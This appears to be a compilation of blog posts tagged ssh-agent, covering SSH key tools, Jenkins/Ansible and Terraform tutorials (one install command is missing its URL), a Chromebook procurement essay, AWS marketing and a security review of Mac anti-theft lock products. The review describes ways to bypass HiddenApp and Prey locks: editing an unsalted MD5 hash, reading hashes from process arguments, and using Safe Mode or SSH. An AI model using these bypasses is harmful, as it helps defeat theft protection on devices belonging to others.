#ssh-agent

[blackmoreops]

Essential SSH key management best practices for Ubuntu systems, including generation, protection, rotation, and backup strategies for maintaining secure and efficient server access.

[nixcraft]

The keychain utility starts an ssh-agent if it's not running and saves the environment variables to enable passwordless ssh connections. Here is how to install and use it on a Debian or Ubuntu Linux

-> Ubuntu / Debian Linux Install Keychain SSH Key Manager For OpenSSH

[jiskblr]

Many large companies were equally interested, because for large company purposes they are, just like at schools, obviously and massively superior, but due to principal-agent problems the people making the purchasing decisions stood to lose money if they switched

So, how this works: large companies have server farms. Maybe in-house, maybe in a rented datacenter, maybe rented from Amazon or Microsoft or Google. For basically all tasks that can't already be done in a web browser you would prefer that your workers log into those servers and use a virtual machine, for several reasons.

If their personal corporate laptop/PC craps out, you can give them a new one and they can log back into the servers right away.

If the server farm craps out, there's tons of redundancy because that's much cheaper to supply in a server farm than in an office, so their work will be recoverable quickly.

It's a lot easier to standardize a virtual machine configuration and then store personal customization as code, so there's less work to set it up for new employees.

other reasons which are comparatively minor

Before Chromebooks, this was true, but you had to provide people with fully-functional laptops with which to SSH or VPN into the virtual machines. This is SOP at most large companies, and in basically all cases except very large, very techy companies, the laptops are acquired from a hardware middleman supplier on a bulk contract. This is acceptable, but causes headaches:

Employees accidentally leave important configuration on their physical devices.

Employees knowingly leave necessary configuration on their physical devices and then forget them at home.

Or lose them.

Or break them.

Hardware is much more likely to malfunction in subtle ways than virtual machines.

And it's hard to rule out the possibility of a subtle malfunction even when the real problem is from the user or the software.

Fixing a laptop when it breaks is valuable enough to be worth doing but expensive and difficult enough to be hated.

Setting up each new laptop is a pain, usually a number of steps which must be executed by someone moderately competent and therefore drawing a moderately expensive salary. (This is particularly a problem for places with legions of salespeople and managers who have never done anything more technical than send an email in their life, a category which has been enormous since at least 1990, who absolutely cannot be trusted to initialize their own laptops.)

Enter the Chromebook. It solves all these problems. It's too stupid of a device to break in most ordinary ways; even a malicious user (and remember, sufficiently advanced stupidity is indistinguishable from malice) has trouble breaking the device unless they put it in developer mode. All the configuration lives in the corporate account they use to log in. They pretty much don't break and when they do they are cheap enough to be easily replaced with a shiny new device, the old one sent back to Google to probably be scrapped for parts.

Maintenance goes from a massive line item in the operating budget of every office to nearly nonexistent.

Trust me, switching over to Chromebooks is every office branch manager's dream. And everyone except the programmers will, after some inevitable adaptation period, also be happier, because a bunch of annoying problems went away and never came back.

So, then: why didn't they switch?

Remember this?

In basically all cases except very large, very techy companies, the laptops are acquired from a hardware middleman supplier on a bulk contract.

This kind of contract typically has three important numbers:

A price per laptop we will charge you whenever you require additional laptops

The number, per 1000 of your employees on a site using those laptops, of setup and maintenance techs we will supply to be your local IT

The amount of money we will charge you per hour of labor from those provided IT staff

Contracts, obviously, vary, but since large companies are not going to take wild risks like breaking a contract with Laptop Supplier A and demanding that the IT techs from Laptop Supplier B provide tech support for the A-laptops, they are a single unit. Normally both the sale of laptops and the provision of IT labor are both significantly profitable for the supplier. But it's fairly common for the profit margins from part 1, the laptop sales, to be sliced razor-thin, since that's the obvious up-front cost that short-sighted buyers are looking at, and the necessary profit moved into parts 2 and 3 - requiring that they hire an excessive number of IT staff, that they pay the supplier an excessive amount for their contracted labor, or both. (No, this doesn't get into the salary of the actual IT techs. Though if their wages went up, so would part 3.)

Now, consider a Large Sales-Focused Company looking to choose their next laptop contract.

Google Chromebook Sales Rep: "Our Chromebooks are dirt cheap and incredibly easy to set up and maintain! You'll need almost no IT people at all, we promise!" (This is, to be clear, absolutely true.) VP of Operations Alice Friday: "We do spend a lot of money on IT and laptops, and I like spending less money. Do you have a supply-and-maintenance contract?" GCSR: "Uh, sorta. We don't have a staff of maintenance people, but you won't need them." VP AF: "So you definitely don't have a proven track record of delivering good equipment and service I can show to the CEO, then?" GCSR: "We've done good work supplying schools?" VP AF: "That's not good enough. But I'll talk to our usual suppliers and see if we can buy some Chromebooks through them."

Supplier Sales Drone has a good thing going supplying LSFC with mediocre laptops and worse-than-mediocre IT techs; it's a consistent steady income for SupplierCorp. Obviously he has also heard of Chromebooks, and particularly has heard that you can buy them for $150/unit. He has also had his higher-quality IT people check Google's claims that they require minimal IT. It all checked out.

SSD looks at three possible contracts (all numbers illustrative rather than accurate):

Current Contract: Laptops $350/unit ($100/unit profit). 15 IT techs per 1000 employees. $110k/year charged per IT tech ($10k/year profit).

Honest Chromebook Contract: Laptops $180/unit ($40/unit profit). 2 techs per 1000 employees. $100k/year charged per IT tech ($20k/year profit; these IT techs can be paid much less because they don't have to be as good)

Trying To Compete Contract: Laptops $220/unit ($20/unit profit). $120k/year charged per IT tech ($10k/year profit, supporting cheaper hardware needs better techs)

CC makes the supplier about $100k per 1000 employees to start, $5k per 1000 per year in replacements, and $150k/year per 1000 in IT. Over four years, $720k/1000 employees; respectable profit.

TTCC makes $20k per 1000 to start, $1k per 1000 per year, and $180k/year per 1000 in IT. Over four years, it makes about as much money, $744k/1000 employees.

HCC would only make $40k/1000 upfront, $2k/1000/year in replacements, and $40k/year per 1000 in IT. Over four years this only makes $168k/1000 employees.

SSD concludes that this would be a complete disaster for his bottom line and chance of promotion. Therefore:

VP AF: "Hi, SSD. We're looking at the new potential hardware contracts. We like the look of those Chromebooks; what can you offer us that makes use of those?" SSD: "We haven't been able to work out terms with Google such that we could supply you with Chromebooks at our customary reliability. Can I interest you in this line of slightly more expensive laptops we can promise to support reliably? The TTCC contract terms are very favorable!"

Alice, not being an idiot, realizes that this is probably not entirely honest. But when she considers pitching her CEO on going without a supply contract and managing it directly through Google, they immediately agree that this is tempting but far too risky, and it's better to go with the existing contracts.

At the time I left the team, several years ago now, Google was specifically working on a line of worse Chromebooks which required more complicated setup and had software which was designed so that an external team could manage accounts, remote wiping of devices, and various other Standard IT Nonsense. Not because it improved user experience, but because it would increase the number of IT people needed from something like 2 per 1000 to something like 6 per 1000, and therefore increase the potential profit of HCC by a factor of three.

As a manager who will remain nameless said to me: "Yeah, this is giving them a worse user experience than just switching to Chromebooks. But it's still going to be way better than what they're doing now."

Chromebooks legitimately solve one of the biggest problems that running an office has (...maybe less so since the pandemic, IDK), and their adoption is, substantially, limited by being too good, such that they disrupt one of the most pointless leech-industries there is.

Unfortunately they're not great for the future of computer literacy and programming.

We need to lay more blame for "Kids don't know how computers work" at the feet of the people responsible: Google.

Google set out about a decade ago to push their (relatively unpopular) chromebooks by supplying them below-cost to schools for students, explicitly marketing them as being easy to restrict to certain activities, and in the offing, kids have now grown up in walled gardens, on glorified tablets that are designed to monetize and restrict every movement to maximize profit for one of the biggest companies in the world.

Tech literacy didn't mysteriously vanish, it was fucking murdered for profit.

[hawkstack]

CI/CD Pipeline Automation Using Ansible and Jenkins

Introduction

In today’s fast-paced DevOps environment, automation is essential for streamlining software development and deployment. Jenkins, a widely used CI/CD tool, helps automate building, testing, and deployment, while Ansible simplifies infrastructure automation and configuration management. By integrating Ansible with Jenkins, teams can create a fully automated CI/CD pipeline that ensures smooth software delivery with minimal manual intervention.

In this article, we will explore how to automate a CI/CD pipeline using Jenkins and Ansible, from setup to execution.

Why Use Jenkins and Ansible Together?

✅ Jenkins for CI/CD:

Automates code integration, testing, and deployment

Supports plugins for various DevOps tools

Manages complex pipelines with Jenkinsfile

✅ Ansible for Automation:

Agentless configuration management

Simplifies deployment across multiple environments

Uses YAML-based playbooks for easy automation

By integrating Jenkins with Ansible, we can achieve automated deployments, infrastructure provisioning, and configuration management in one streamlined workflow.

Step-by-Step Guide: Integrating Ansible with Jenkins

Step 1: Install Jenkins and Ansible

📌 Install Jenkins on a Linux Server

wget -O /usr/share/keyrings/jenkins-keyring.asc \

echo "deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] \

    https://pkg.jenkins.io/debian binary/" | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null

sudo apt update

sudo apt install jenkins -y

sudo systemctl start jenkins

sudo systemctl enable jenkins

Access Jenkins UI at http://<your-server-ip>:8080

📌 Install Ansible

sudo apt update

sudo apt install ansible -y

ansible --version

Ensure that Ansible is installed and accessible from Jenkins.

Step 2: Configure Jenkins for Ansible

📌 Install Required Jenkins Plugins

Navigate to Jenkins Dashboard → Manage Jenkins → Manage Plugins

Install:

Ansible Plugin

Pipeline Plugin

Git Plugin

📌 Add Ansible to Jenkins Global Tool Configuration

Go to Manage Jenkins → Global Tool Configuration

Under Ansible, define the installation path (/usr/bin/ansible)

Step 3: Create an Ansible Playbook for Deployment

Example Playbook: Deploying a Web Application

📄 deploy.yml

---

- name: Deploy Web Application

  hosts: web_servers

  become: yes

  tasks:

    - name: Install Apache

      apt:

        name: apache2

        state: present

    - name: Start Apache

      service:

        name: apache2

        state: started

        enabled: yes

    - name: Deploy Application Code

      copy:

        src: /var/lib/jenkins/workspace/app/

        dest: /var/www/html/

This playbook: ✅ Installs Apache ✅ Starts the web server ✅ Deploys the application code

Step 4: Create a Jenkins Pipeline for CI/CD

📄 Jenkinsfile (Declarative Pipeline)

pipeline {

    agent any

    stages {

        stage('Clone Repository') {

            steps {

                git 'https://github.com/your-repo/app.git'

            }

        }

        stage('Build') {

            steps {

                sh 'echo "Building Application..."'

            }

        }

        stage('Deploy with Ansible') {

            steps {

                ansiblePlaybook credentialsId: 'ansible-ssh-key',

                    inventory: 'inventory.ini',

                    playbook: 'deploy.yml'

            }

        }

    }

}

This Jenkins pipeline: ✅ Clones the repository ✅ Builds the application ✅ Deploys using Ansible

Step 5: Trigger the CI/CD Pipeline

Go to Jenkins Dashboard → New Item → Pipeline

Add your Jenkinsfile

Click Build Now

Jenkins will execute the CI/CD pipeline, deploying the application using Ansible! 🚀

Benefits of Automating CI/CD with Ansible & Jenkins

🔹 Faster deployments with minimal manual intervention 🔹 Consistent and repeatable infrastructure automation 🔹 Improved security by managing configurations with Ansible 🔹 Scalability for handling multi-server deployments

Conclusion

By integrating Ansible with Jenkins, DevOps teams can fully automate CI/CD pipelines, ensuring faster, reliable, and consistent deployments. Whether deploying a simple web app or a complex microservices architecture, this approach enhances efficiency and reduces deployment risks.

Ready to implement Ansible and Jenkins for your DevOps automation? Start today and streamline your CI/CD workflow!

💡 Need help setting up your automation? Contact HawkStack Technologies for expert DevOps solutions!

For more details click www.hawkstack.com 

[hackernewsrobot]

VSCode's SSH Agent Is Bananas

https://fly.io/blog/vscode-ssh-wtf/

[prabhatdavian-blog]

Deploy Applications with Terraform and Ansible Automation to Fasten Scalable Orchestration with Just One Course

Introduction

In the fast-evolving world of IT infrastructure, the need for efficient and scalable solutions is paramount. Enter Terraform and Ansible—two powerful tools that have revolutionized the way we manage and deploy infrastructure. As the demand for Infrastructure as Code (IaC) grows, so does the need for professionals skilled in these technologies. But what happens when you combine the strengths of Terraform with the capabilities of Ansible? The result is a robust, streamlined process that can automate and manage even the most complex infrastructure environments. Welcome to "The Complete Terraform with Ansible Bootcamp 2024," your comprehensive guide to mastering these essential tools.

What is Terraform?

Terraform is an open-source tool developed by HashiCorp that allows you to define and provision infrastructure using a high-level configuration language. Its primary purpose is to automate the setup and management of cloud infrastructure, ensuring consistency and reducing the potential for human error.

Key Features of Terraform

Declarative Configuration: Define your desired state, and Terraform will ensure that the infrastructure matches that state.

Provider Support: Terraform supports a wide range of cloud providers, including AWS, Azure, Google Cloud, and many others.

Resource Graph: Terraform builds a dependency graph of resources, optimizing the order of resource creation and modification.

State Management: Terraform tracks the state of your infrastructure, allowing for easier updates and management.

Benefits of Using Terraform

Consistency: Infrastructure is defined in code, making it easier to reproduce environments.

Automation: Automates the deployment process, reducing manual effort and the potential for errors.

Scalability: Easily scale infrastructure up or down based on demand.

What is Ansible?

Ansible is an open-source automation tool used for configuration management, application deployment, and task automation. Developed by Red Hat, Ansible is known for its simplicity and ease of use, making it a popular choice among IT professionals.

Key Features of Ansible

Agentless Architecture: No need to install agents on the managed nodes; Ansible uses SSH to communicate with them.

Idempotent Operations: Ansible ensures that repeated executions of a playbook result in the same outcome, preventing unintended changes.

Playbooks: Ansible uses YAML files, known as playbooks, to define automation tasks in a human-readable format.

Extensive Module Library: Ansible includes a vast library of modules for managing various services and systems.

Benefits of Using Ansible

Simplicity: Easy to learn and use, with a minimal learning curve.

Flexibility: Can manage a wide range of systems, from servers to network devices.

Efficiency: Ansible’s push-based architecture allows for quick and efficient deployments.

Why Terraform and Ansible Together?

While Terraform excels at provisioning infrastructure, Ansible shines in configuration management. By combining the two, you can achieve a seamless workflow that not only creates the infrastructure but also configures and manages it. This synergy allows for more comprehensive automation, reducing the need for manual intervention and ensuring that your infrastructure is always in the desired state.

Use Cases for Combining Terraform with Ansible

Infrastructure Provisioning and Configuration: Use Terraform to provision cloud resources, and Ansible to configure them.

Multi-Cloud Management: Manage infrastructure across different cloud providers using Terraform, and ensure consistent configurations with Ansible.

Continuous Delivery Pipelines: Integrate Terraform and Ansible into CI/CD pipelines for automated infrastructure deployment and configuration.

Benefits of Integration

Efficiency: Automate end-to-end infrastructure management from provisioning to configuration.

Consistency: Ensure that infrastructure is not only deployed consistently but also configured uniformly.

Scalability: Scale both infrastructure and configurations seamlessly across multiple environments.

Getting Started with Terraform

To begin your journey with Terraform, the first step is to set up your development environment. Install Terraform on your local machine and configure it to work with your chosen cloud provider.

Setting Up Terraform

Install Terraform: Download and install Terraform from the official website.

Configure Your Provider: Set up your cloud provider credentials in Terraform.

Write Your First Configuration: Create a basic Terraform configuration file to define the infrastructure you want to provision.

Writing Your First Terraform Configuration

Start with a simple configuration that provisions a virtual machine. Define the resource, provider, and any necessary variables. Once your configuration is ready, use the terraform init command to initialize your working directory and the terraform apply command to deploy your infrastructure.

Deploying Infrastructure with Terraform

After deploying your first resource, explore Terraform’s state management features. Understand how Terraform tracks the state of your infrastructure and how you can manage updates, rollbacks, and resource dependencies.

Getting Started with Ansible

Ansible setup is straightforward, as it doesn't require any additional software on the managed nodes.

Setting Up Ansible

Install Ansible: Use your package manager to install Ansible on your control machine.

Configure Inventory: Define the inventory of servers you want to manage with Ansible.

Write Your First Playbook: Create a simple playbook to install software or configure services on your servers.

Writing Your First Ansible Playbook

An Ansible playbook is a YAML file that describes a series of tasks to be executed on your managed nodes. Start with a basic playbook that performs common tasks like updating packages or deploying applications.

Configuring Servers with Ansible

Once your playbook is ready, you can just run it using the ansible-playbook command. Ansible will connect to your managed nodes via SSH and execute the tasks defined in your playbook, ensuring your servers are configured as desired.

Terraform and Ansible: A Combined Workflow

Now that you're familiar with both tools, it’s time to combine them in a single workflow.

Creating Infrastructure with Terraform

Begin by defining and deploying your infrastructure using Terraform. This might include creating virtual machines, networking resources, and storage.

Provisioning and Configuring with Ansible

After Terraform has provisioned the infrastructure, use Ansible to configure the newly created resources. This might involve installing software, configuring services, and applying security settings.

Example Workflow: Terraform + Ansible

For instance, you might use Terraform to provision a set of EC2 instances on AWS, and then use Ansible to install and configure a web server on those instances. This combined approach ensures that your infrastructure is both provisioned and configured according to your specifications.

Advanced Terraform Techniques

As you gain more experience with Terraform, you’ll want to explore its more advanced features.

Managing State and State Files

Terraform’s state files track the current state of your infrastructure. Learn how to manage these files, including how to handle remote state storage for team collaboration.

Modules in Terraform

Modules allow you to reuse and organize your Terraform code. Learn how to create and use modules to simplify your configurations and make them more scalable.

Best Practices for Writing Terraform Code

Follow best practices such as using version control, commenting your code, and following a consistent naming convention to ensure that your Terraform configurations are maintainable and understandable.

Advanced Ansible Techniques

Ansible also offers advanced features that can enhance your automation efforts.

Roles and Playbooks in Ansible

Roles are a way to organize your Ansible playbooks into reusable components. Learn how to create and use roles to streamline your playbooks.

Managing Inventory in Ansible

As your infrastructure grows, managing inventory can become complex. Explore dynamic inventory scripts and other techniques to manage large-scale deployments.

Best Practices for Writing Ansible Playbooks

Ensure your playbooks are idempotent, use variables and templates effectively, and organize tasks logically to maintain clarity and functionality.

Security Considerations

Security is a critical aspect of managing infrastructure. Both Terraform and Ansible offer features to enhance the security of your deployments.

Securing Terraform Deployments

Use secure methods for managing credentials, encrypt state files, and implement policies to control access to your infrastructure.

Securing Ansible Configurations

Ensure that sensitive information is handled securely in Ansible by using Ansible Vault to encrypt passwords and other secrets.

Managing Secrets with Terraform and Ansible

Learn how to integrate secret management solutions like HashiCorp Vault or AWS Secrets Manager with Terraform and Ansible to securely manage sensitive information.

Troubleshooting and Debugging

Even with the best practices, issues can arise. Knowing how to troubleshoot and debug Terraform and Ansible is crucial.

Common Issues in Terraform

Learn to identify and resolve common issues such as provider authentication errors, resource conflicts, and state file corruption.

Common Issues in Ansible

Common Ansible issues include SSH connectivity problems, syntax errors in playbooks, and module failures. Learn how to diagnose and fix these problems.

Tools and Tips for Debugging

Both Terraform and Ansible offer tools for debugging. Terraform’s terraform plan command and Ansible’s -vvv verbosity option are invaluable for understanding what’s happening under the hood.

Real-World Case Studies

Let’s look at some real-world examples of how organizations have successfully used Terraform and Ansible together.

Success Stories of Using Terraform and Ansible Together

Organizations have achieved significant efficiencies and cost savings by automating their infrastructure management with Terraform and Ansible. Learn from their experiences and apply these lessons to your projects.

Lessons Learned from Industry Leaders

Industry leaders share their insights on the challenges and successes they’ve encountered when using Terraform and Ansible. Discover best practices that can help you avoid common pitfalls.

How Terraform and Ansible Transformed Infrastructure Management

Explore case studies that demonstrate how combining Terraform and Ansible has transformed the way companies manage their infrastructure, leading to more reliable and scalable systems.

Certifications and Career Opportunities

As the demand for Terraform and Ansible skills grows, so do the career opportunities in this field.

Relevant Certifications for Terraform and Ansible

Certifications like HashiCorp Certified: Terraform Associate and Red Hat Certified Specialist in Ansible Automation can validate your skills and open up new career opportunities.

Career Growth with Terraform and Ansible Skills

Professionals skilled in Terraform and Ansible are in high demand. Learn how these skills can lead to career advancement and higher salaries.

How to Stand Out in the Job Market

To stand out in the job market, consider building a portfolio of projects that demonstrate your ability to use Terraform and Ansible together. Contributing to open-source projects and writing blog posts can also help showcase your expertise.

Future of Terraform and Ansible

The world of Infrastructure as Code is constantly evolving. Stay ahead by keeping up with the latest trends and developments.

Emerging Trends in IaC

Explore emerging trends such as GitOps, serverless infrastructure, and policy as code, and how they might impact the future of Terraform and Ansible.

Future Developments in Terraform and Ansible

Both Terraform and Ansible continue to evolve, with new features and enhancements being regularly released. Stay updated on these developments to ensure you’re using the latest and greatest tools.

How to Stay Updated in the Field

Follow industry blogs, attend conferences, and participate in online communities to stay informed about the latest developments in Terraform and Ansible.

Conclusion

The combination of Terraform and Ansible offers a powerful solution for managing and automating IT infrastructure. By mastering these tools, you can streamline your workflows, reduce errors, and ensure that your infrastructure is always in a desired state. As you continue your journey, remember that the key to success is continuous learning and staying updated on the latest trends and best practices. With the right knowledge and skills, you’ll be well-equipped to tackle any infrastructure challenge that comes your way.

FAQs

What is the main difference between Terraform and Ansible? Terraform is primarily used for provisioning infrastructure, while Ansible is used for configuration management and application deployment.

Can I use Terraform and Ansible separately? Yes, both tools can be used independently, but they complement each other when used together.

How long does it take to learn Terraform and Ansible? The learning curve depends on your prior experience, but with dedicated study, you can become proficient in a few months.

Are there any prerequisites for learning Terraform and Ansible? Basic knowledge of cloud computing, networking, and Linux systems is helpful but not mandatory.

What resources are recommended for mastering Terraform and Ansible? Online courses, official documentation, community forums, and hands-on practice are essential for mastering these tools.

[theenterprisemac]

Looking At - Lockdown Options for the Mac

A quick note before we get started this research is from 2023 and has not been updated. I am just now putting this content out because I finally have a place to put it.

Options Looked At

I picked three options:

Absolute Manage (Home and Office)

HiddenApp

Prey Project

I picked Absolute Manage because that is something I am familiar with from the enterprise space. Home and office version because I am not paying for the enterprise product. HiddenApp because it was on the Jamf Marketplace (tho it seems to have been replaced with Senturo, but HiddenApp is still around so who knows). Prey was an obvious include because it's a popular option that's cheap.

What are we evaluating?

I am only looking at how the product locks down the Mac in the case of an outside of geofence, lost or stolen situation. I am not commenting on any of the other functionality.

tl;dr

For those of you not interested in the why's, how's and wheretofor's the conclusion is that Absolute Manage is significantly better than either of the other options. Its lock down is more effective and more robust against tampering etc.

What's wrong with HiddenApp?

The password to unlock the Mac is stored as an MD5 hash with no salt or any other protection.

You can, if you disconnect from the network, change the password to whatever you want it to be by simply changing the hash in the device_locked.status file found in /usr/local/hidden. You need to be an admin, but that is more and more common in the Mac space even in the enterprise.

The lock down is triggered by a Launch Daemon and therefore doesn't activate immediately. I have seen it take multiple minutes to lock the screen–giving you more than enough time to stop it.

The HiddenApp itself is not obfuscated so you can easily reverse engineer any part you need.

If the user is an admin not only can they change the lock password, but they can also prevent their machine from ever locking by simply controlling the missing marker file. You can also of course simply remove HiddenApp since it has no special protection. If you are not on the network once you stop the lock down–HiddenApp can't fix itself without network help.

What's wrong with Prey?

Prey like HiddenApp has a weak method of storing the password to unlock the computer. The method used is: string input converted to utf-8 then base64 encoded and then md5 hashed and returned as a hex digest. You can find this by looking at: /lib/agent/actions/lock/mac/prey-lock in the Prey folder (this is a Python3 file). So you can easily break this scheme due to it being MD5 you just need to base64 encode your wordlist first.

The password hash is easily obtained from looking at the output of sudo ps -A with the window expanded. The password is in the command-line arguments passed to prey-actions.app with -lock flag.

The lock can be bypassed with Safe Mode and with SSH.

The application itself is built from a lot of JavaScript/node.js code. This also means its trivial to reverse engineer.

The application makes no effort to hide itself or obscure what it is doing.

What's right with Absolute Manage Home and Office?

Unlike the other two options Absolute Manage uses a robust lock down based on a SecurityAgentPlugin that runs at login. The lock down is therefore immediate and is hard to bypass by comparison.

The password is not as robust as the other options (4-6 digit pin), but given that the lockdown is immediate during login you don't have the same ability to block it or tamper with it. Keep in mind this is the personal product–so the pin lock makes some limited sense.

The application does a good job obscuring itself and what it is doing.

The only effective bypass I found was if SSH is enabled, then you can SSH in and bypass the lock. I put in a feature suggestion that they disable SSH as part of the lock down.

The product is much more difficult to get rid of, because it stores its components in multiple locations and generally tries to hide itself.

Safe mode does not get around the lock out unlike some of the other products.

The biggest issue I found was the time between issuing a lock command and it being enforced on the endpoint was excessively long-hours in many cases. Observed times as long as 15 hours between issuing the lock command it taking place. This could have been my setup so take it with a grain of salt.

Conclusion

The asset management tool space is a crowded one, and if you are looking for a good product that locks down stolen or otherwise improperly stationed assets you need to take great care to verify what you are buying. Of the three products I picked only one was remotely serviceable, and unless you dive into the details of how the products work it is easy to mistake bad solutions for good ones.

[qcsdclabs]

Red Hat OpenShift vs. Red Hat Ansible: Which Course Is Best for You?

In the world of enterprise IT solutions, two of Red Hat’s most popular offerings are OpenShift and Ansible. Both tools serve unique purposes in the automation and orchestration space, with Red Hat OpenShift focusing on container orchestration and application management, and Red Hat Ansible automating IT tasks such as configuration management and software deployment.

When deciding between a Red Hat OpenShift or Red Hat Ansible course, it's essential to understand the differences in their functionalities, use cases, and the skills they offer. This blog will guide you through the key features of both tools and help you choose the best course based on your career goals and organizational needs.

What is Red Hat OpenShift?

Red Hat OpenShift is a Kubernetes-based platform designed to manage and deploy containerized applications in a cloud-native environment. It provides an integrated environment for developers and operators to build, deploy, and scale applications efficiently. OpenShift offers powerful features like automated installation, scaling, monitoring, and troubleshooting, which make it a preferred choice for enterprises looking to modernize their IT infrastructure.

Key Benefits of Red Hat OpenShift:

Container Orchestration: OpenShift builds on Kubernetes to manage containerized applications, ensuring automatic deployment, scaling, and operations.

DevOps Integration: OpenShift supports DevOps pipelines, making it easier to manage the entire application lifecycle from development to production.

Hybrid and Multi-Cloud Support: OpenShift allows businesses to run applications seamlessly across hybrid and multi-cloud environments.

Developer-Focused: With built-in CI/CD pipelines and automated workflows, OpenShift is well-suited for developers focusing on cloud-native app development.

What is Red Hat Ansible?

Red Hat Ansible is an open-source automation platform designed to automate IT processes, including configuration management, application deployment, and orchestration. It simplifies the management of complex IT environments, allowing systems administrators to focus on high-level tasks while automating repetitive processes.

Key Benefits of Red Hat Ansible:

Simple Automation: Ansible uses simple, human-readable YAML files (called playbooks) to define automation tasks, making it accessible for both developers and system administrators.

Configuration Management: With Ansible, you can ensure that your infrastructure is configured correctly and consistently across all systems.

Scalability: Ansible can automate processes on a large scale, enabling you to manage thousands of systems with minimal effort.

Agentless Architecture: Ansible operates over SSH and does not require an agent to be installed on the managed systems, reducing overhead.

Comparing Red Hat OpenShift and Red Hat Ansible

While both tools are designed to improve efficiency and reduce manual work, they are used for different purposes. Here’s a breakdown of their core differences:

1. Purpose and Use Cases

OpenShift is primarily for developers and DevOps teams focusing on the management and deployment of containerized applications. If you’re working on a cloud-native application, OpenShift is an ideal tool to help manage Kubernetes clusters and orchestrate containers.

Ansible is more focused on automation tasks. It’s used by IT administrators and DevOps engineers to automate processes across infrastructure. It can handle a wide range of tasks, from configuring servers and deploying applications to managing networks and security.

2. Learning Curve

OpenShift involves understanding Kubernetes and containerization concepts, which may require a deeper technical understanding of cloud-native applications and orchestration.

Ansible, on the other hand, is simpler to learn, especially for those already familiar with scripting and system administration tasks. It uses YAML, which is straightforward and easy to read.

3. Integration

OpenShift integrates well with cloud-native applications, CI/CD pipelines, and container technologies like Docker and Kubernetes. It helps developers and operations teams collaborate to deploy and scale applications efficiently.

Ansible integrates seamlessly with a wide variety of IT infrastructure, including servers, network devices, and cloud environments, and can be used with other tools to automate configurations, deployments, and updates.

4. Skillset Focus

OpenShift requires a solid understanding of containerization, microservices, and cloud architectures. If you’re pursuing a career as a Kubernetes administrator, cloud architect, or DevOps engineer, learning OpenShift will be beneficial.

Ansible is a great tool for automation, configuration management, and orchestration. If you are aiming for roles like systems administrator, network engineer, or automation engineer, Ansible will help you optimize and automate your infrastructure.

Which Course Should You Take?

Choosing the right course depends on your career path and goals. Let’s break it down:

1. Take a Red Hat OpenShift Course If:

You want to specialize in container orchestration and management.

Your goal is to work with Kubernetes and cloud-native technologies.

You’re aiming for roles such as Cloud Architect, Kubernetes Administrator, or DevOps Engineer.

You’re working with teams that focus on the development and deployment of microservices-based applications.

2. Take a Red Hat Ansible Course If:

You’re focused on automation, configuration management, and infrastructure optimization.

You want to automate the provisioning and deployment of applications across multiple environments.

You aim for roles such as Systems Administrator, Automation Engineer, or Infrastructure Engineer.

You want a tool that can automate not only applications but also network configurations, cloud provisioning, and security tasks.

Conclusion

Both Red Hat OpenShift and Red Hat Ansible are valuable tools that address different aspects of modern IT infrastructure. OpenShift excels in managing and orchestrating containerized applications in a cloud-native environment, while Ansible simplifies the automation of system configurations and application deployments across various infrastructures.

Ultimately, the best course for you depends on whether you want to focus on cloud-native application management (OpenShift) or IT process automation (Ansible). Many organizations use both tools together, so learning both can give you a well-rounded skill set. However, if you have to choose one, select the course that aligns most closely with your current or future job role and the type of work you’ll be doing.

for more details 

hawkstack.com

qcsdclabs.com

[tumnikkeimatome]

OpenSSH Authentication Agent (ssh-agent) LinuxとWindows環境の違い、基本的な使用方法と自動起動設定の手順について解説

ssh-agentの基本概念と役割 OpenSSH Authentication Agent（ssh-agent）は、SSHプロトコルを使用した認証を効率的に管理するためのプログラムです。 秘密鍵をメモリ上で安全に保持し、パスフレーズの入力を省略することができます。 複数のサーバーへのSSH接続やGitなどのバージョン管理システムでの認証を、スムーズに行うことができます。 LinuxとWindowsにおけるssh-agentの実装の違い LinuxではOpenSSH Authentication Agentがデスクトップ環境と緊密に統合されています。 GNOMEやKDEなどの主要なデスクトップ環境では、ログイン時に自動的にssh-agentが起動します。 システムトレイからGUIで管理することも可能です。 Windowsでは、OpenSSH Authentication…

[govindhtech]

Discover AWS Systems Manager Cross-Account Management

What is AWS Systems Manager?

AWS Systems Manager is a solution that facilitates the management, viewing, and control of your infrastructure in multicloud, on-premises, and AWS settings.

AWS Systems Manager’s advantages

Boost visibility throughout your whole node infrastructure

A consolidated view of all the nodes across the accounts and regions of your company is offered by AWS Systems Manager. Get node information quickly, including its name, ID, installed agents, operating system information, and tags. You may find problems and act more quickly by using Amazon Q Developer to query node metadata in natural language.

Use automation to increase operational efficiency

Reduce the time and effort needed to maintain your systems by automating routine operational chores. Systems Manager eliminates the need for remote PowerShell, SSH, or bastion hosts by enabling you to safely and securely manage your nodes at scale without logging into your servers. It offers a straightforward method for automating routine operational tasks, like software and patch installations, registry modifications, and user administration, across groups of nodes.

Make node management easier at scale in any setting

Any AWS, on-premises, or multicloud environment can run the Systems Manager Agent (SSM Agent), enabling Systems Manager to offer out-of-the-box visibility and simplifying managed node maintenance. Set up diagnostics to run automatically in order to find problems with the SSM Agent. Issues with pre-defined runbooks can then be fixed. Once under control, nodes can efficiently carry out vital operational functions including remotely executing commands, starting logged sessions, and patching nodes with security updates.

Tools

You can use the entire suite of AWS Systems Manager tools to securely connect to nodes without managing bastion hosts or SSH keys, patch nodes with security updates, automate operational commands at scale, and obtain thorough fleet visibility once your nodes are managed by Systems Manager.

Use cases

Control every node you have

Gain thorough insight into your hybrid and multicloud systems, as well as your node infrastructure across Amazon Web Services accounts and regions. Rapidly detect and resolve agent problems to restore unmanaged nodes and efficiently carry out crucial operational duties, such applying security updates to nodes, starting and recording sessions, or executing operational commands.

Automate your processes

Make your computational resources available, configure them, and deploy them automatically. To address common problems like misconfigured agents, keep infrastructure up to date with SSM Agent diagnosis and remediation. Execute essential operational activities, like automatically applying fixes for applications and operating systems on a regular basis.

Increase the effectiveness of operations

Prioritize increasing operational effectiveness, cutting expenses, and growing your company. Across your hybrid and multicloud setups, AWS Systems Manager is your enterprise-grade solution for managing nodes at scale with cross-account and cross-region visibility.

Presenting a fresh AWS Systems Manager experience

AWS is presenting an enhanced version of AWS Systems Manager today, which offers the much-desired cross-account and cross-region experience for large-scale node management.

All of your managed nodes, including different kinds of infrastructure like Amazon Elastic Compute Cloud (EC2) instances, containers, virtual machines on other cloud providers, on-premise servers, and edge Internet of Things (IoT) devices, can be seen centrally with the new System Manager experience. When they are linked to Systems Manager and have the Systems Manager Agent (SSM Agent) installed, they are called “managed nodes.”

